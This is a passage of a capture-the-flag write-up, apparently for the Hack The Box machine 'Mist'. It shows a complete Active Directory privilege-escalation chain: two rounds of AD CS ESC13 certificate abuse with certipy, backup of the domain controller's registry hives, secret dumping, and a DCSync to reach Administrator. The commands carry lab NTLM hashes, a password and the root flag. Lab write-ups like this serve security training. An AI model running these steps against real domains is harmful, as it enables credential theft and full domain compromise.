certipy-ad shadow auto -u 'svc_ca$@mist.htb' -hashes :09814d63c9baxxxxxxxxxxxx-account svc_cabackup
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FgQ5uSrKsLeAF75haN47p%2Feb3433970841323a68900d310b63b84d.png?alt=media&#x26;token=ef632351-e152-44ac-84bb-3a73380fea21" alt=""><figcaption></figcaption></figure>

> **ESC13**: If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.

Source [post](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-certificate-services/#esc13-issuance-policy).

From `bloodhouno`I can see that being a member of `Certificate Services` group, I can abuse `ESC13` and add myself or anyone I want to `Certificate Managers` group

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FEAPTILkEzd4V31DUXPHO%2F76d690aa97f9ddedf6038305709681fa.png?alt=media&#x26;token=342cbd0f-9bc9-404e-aee0-14b8f50e9c85" alt=""><figcaption></figcaption></figure>

`Certificate Managers` group is a member of `CA Backup` group

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FGTqlpWxHWZwu7uD8ECZd%2Ffd6ca9636b15be6873b896594fbba0ac.png?alt=media&#x26;token=a727a68c-ed16-4626-8400-79148da96164" alt=""><figcaption></figcaption></figure>

`CA Backup` A group's member can perform `ESC13`, too, and get a membership in `Services acountsthe` group that is a member of `Backup Operators` group.

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2F34LevcpVFeknSq5ZCsXI%2Fa97df7d5b2e7742d9d99dd121198c356.png?alt=media&#x26;token=7b4ddfe6-6391-4646-8292-2344405df1aa" alt=""><figcaption></figcaption></figure>

To summarize the attack path:

1. Perform `ESC13` to inherit the privileges of `Certificate Managers` group
2. Perform `ESC13` inherit the privileges of `Services acounts` group
3. Inherit `Backup Operators` privileges being in `Services acounts` group

Request a certificate for the vulnerable template `managerauthentication`

```bash
certipy-ad req -u 'svc_cabackup@mist.htb' -hashes :c9872f1bc10bdd522c12fc2ac9041b64 -template managerauthentication -ca mist-DC01-CA -key-size 4096 -dc-ip 192.168.100.100 -dns 192.168.100.100
```

Authenticate as `svc_cabackup` to Inherit the new privileges

```bash
certipy-ad auth -pfx cert.pfx -kirbi -domain mist.htb
impacket-ticketConverter svc_cabackup.kirbi svc_cabackup.ccache
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FT90hMq2gqGUsTvoPOtS8%2Fabb81383f0bf22288e8ce648a1dd2860.png?alt=media&#x26;token=9a649ff0-3ad7-411c-b5d2-21611953e20c" alt=""><figcaption></figcaption></figure>

Request a certificate for the vulnerable template `backupsvcauthentication`

```bash
certipy req -u 'svc_cabackup@mist.htb' -k -template backupsvcauthentication -ca mist-DC01-CA -key-size 4096 -dc-ip 192.168.100.100 -dns 192.168.100.100 -target dc01.mist.htb
```

Authenticate as `svc_cabackup` to Inherit the new privileges

```bash
certipy-ad auth -pfx cert.pfx -kirbi -domain mist.htb
impacket-ticketConverter svc_cabackup.kirbi svc_cabackup2.ccache
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FSRZoynSsrkoNs0QzbSTw%2F80509d9d425ae4cd5989c0273be06294.png?alt=media&#x26;token=d3878425-f435-4351-a872-97a5ee5598fb" alt=""><figcaption></figcaption></figure>

Abuse `Backup Operator` to backup `Registry` hives

```bash
impacket-reg -k -no-pass mist.htb/svc_cabackup@dc01.mist.htb backup -o '\programdata'
```

Access the DC to download the files via winRM

```powershell
evil-winrm -i dc01 -u op_Sharon.Mullard -p 'ImTiredOfThisJob:('

*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> cd C:\programdata

*Evil-WinRM* PS C:\programdata> download SAM.save

Info: Downloading C:\programdata\SAM.save to SAM.save
Info: Download successful!

*Evil-WinRM* PS C:\programdata> download SECURITY.save

Info: Downloading C:\programdata\SECURITY.save to SECURITY.save
Info: Download successful!

*Evil-WinRM* PS C:\programdata> download SYSTEM.save
Info: Downloading C:\programdata\SYSTEM.save to SYSTEM.save
Info: Download successful!
```

Dump the hives' secrets and perform `DCSync` with `dc01$` account hash

<pre class="language-bash"><code class="lang-bash"><strong>impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
</strong></code></pre>

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FIiykJCOdJMy8u9bh2qOs%2F5d225e57aa554ca09398ba6e634f7490.png?alt=media&#x26;token=b936aef4-f6ce-421d-a56e-75fc0b1664be" alt=""><figcaption></figcaption></figure>

```bash
impacket-secretsdump mist.htb/'DC01$'@dc01 -hashes :e768c4cf883a87ba9e96278990292260 -just-dc-ntlm
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FdEm8V4ARrP3uIrQZRz4f%2F0bc06368b39e50570f61229dcf2533ed.png?alt=media&#x26;token=6f55aa84-3171-48ca-acce-245aab1cd071" alt=""><figcaption></figcaption></figure>

Access the machine as Administrator

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2F4soKQLRY0z5yPCzQYyUH%2Fdee54d38e5f800354dafaecc8777f485.png?alt=media&#x26;token=513e33fa-50d9-4fda-ae9d-69c853b6b1ff" alt=""><figcaption></figcaption></figure>

> Root Flag: f5dcf7a3f2377ef6759aa413c768303f
